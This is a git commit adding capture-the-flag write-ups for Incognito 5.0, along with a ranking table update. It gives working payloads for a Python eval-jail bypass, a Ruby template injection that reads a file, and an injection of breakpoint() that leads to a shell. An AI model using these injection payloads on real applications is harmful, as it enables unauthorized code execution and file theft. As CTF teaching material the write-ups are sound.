feat: added incognito 5.0

main
daffainfo 2024-04-17 07:39:15 +07:00
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# Doodle game
> How good are you in python?
## About the Challenge
We got a server to connect and also the source code. Here is the content of the website
```python
#!/usr/bin/python
import time
import unicodedata
blacklist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789[]{}<>/_'!"
def isSafe(cmd):
for i in cmd:
if i in blacklist:
return(0)
return(1)
def main():
cmd = input(">> ")
normalized_cmd = unicodedata.normalize('NFKD', cmd).encode('ASCII', 'ignore').decode()
if(isSafe(normalized_cmd)):
try:
if(eval(normalized_cmd) == 17592186044416):
print(open("flag").readline())
else:
print(eval(normalized_cmd))
except:
print("An exception occurred")
else:
print("Not allowed!")
main()
```
So, this script takes user input, checks if it's safe by removing non-ASCII characters and those in a `blacklist` variable, then "eval"ing the input. If the evaluated result equals a `17592186044416` or 2^44, it will print the flag
## How to Solve?
Because the goal of this challenge is to achieve `17592186044416`, you can use this payload:
```
((()==())+(()==()))**((()==())+(()==()))**((()==())+(()==()))**((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))*((()==())+(()==()))
```
`() == ()` equals True. So, if there are `(() == ()) + (() == ())`, it means True + True equals 2, and then we can use the power operator (**) in python 44 times to achieve `17592186044416`
![flag](images/flag.png)
```
ictf{L0nG_L1v3_7H3_B00L34N5}
```

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# Embed Flow
> This guy wants you to guess his favorite programming language, but missed setting up the pattern correctly.
## About the Challenge
We got a website and this website is using Sinatara (Ruby). Here is the preview of the challenge
![preview](images/preview.png)
If we try to input `'` character, we'll get an error message like this:
![testing-phase](images/testing-phase.png)
## How to Solve?
After seeing the regex pattern, I immediately knew this was similar to a HTB challenge called `Neonify` (https://blog.devops.dev/ssti-bypass-filter-0-9a-z-i-08a5b3b98def). So I used the same payload to read the flag :D
```
test
<%= File.open('flag.txt').read %>
test
```
And then encode it using urlencode and it will become
```
test%0A%3C%25=%20File.open('flag.txt').read%20%25%3E%0Atest
```
![flag](images/flag.png)
```
ictf{ruby_r3g3x_n3w_l1n3_4l3rt}
```

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# Fairy Tale
> Type in your favorite hero and let Fairy Tale spin a unique story for you.
## About the Challenge
We got a server to connect without a source. Here is the preview of the challenge
![preview](images/preview.png)
If we try to input `'`, we'll get an error message like this:
![testing-phase](images/testing-phase.png)
It seems like our input is being passed into the `ast.literal_eval()` function
## How to Solve?
To solve this chall, im calling `breakpoint()` function and then call `/bin/sh` by importing `os` package
```
' + breakpoint() + '
```
![flag](images/flag.png)
```
ictf{b3_C4r3full_1n_3rr0r5}
```

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# Incognito 5.0
CTF writeup for The Incognito 5.0. I took part in this CTF competition with the Heroes Cyber Security team and secured the 1st place out of 275 teams
| Category | Challenge |
| --- | --- |
| Web | [Embed Flow](/2024/Incognito%205.0/Embed%20Flow/)
| Misc | [Doodle game](/2024/Incognito%205.0/Doodle%20game/)
| Misc | [Fairy Tale](/2024/Incognito%205.0/Fairy%20Tale/)

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@ -11,7 +11,8 @@ There are __553__ CTF writeups that have been made in this repository
| Event Name | Team | Ranking |
| ---------- | ---- | ------- |
| Wayne State University - CTF24 | 1 |
| Incognito 5.0 | Heroes Cyber Security | 1 |
| Wayne State University - CTF24 | Heroes Cyber Security | 1 |
| KnightCTF 2024 | Heroes Cyber Security | 1 |
| DeconstruCT.F 2023 | aseng_fans_club | 1 |
| The Odyssey CTF | aseng_fans_club | 1 |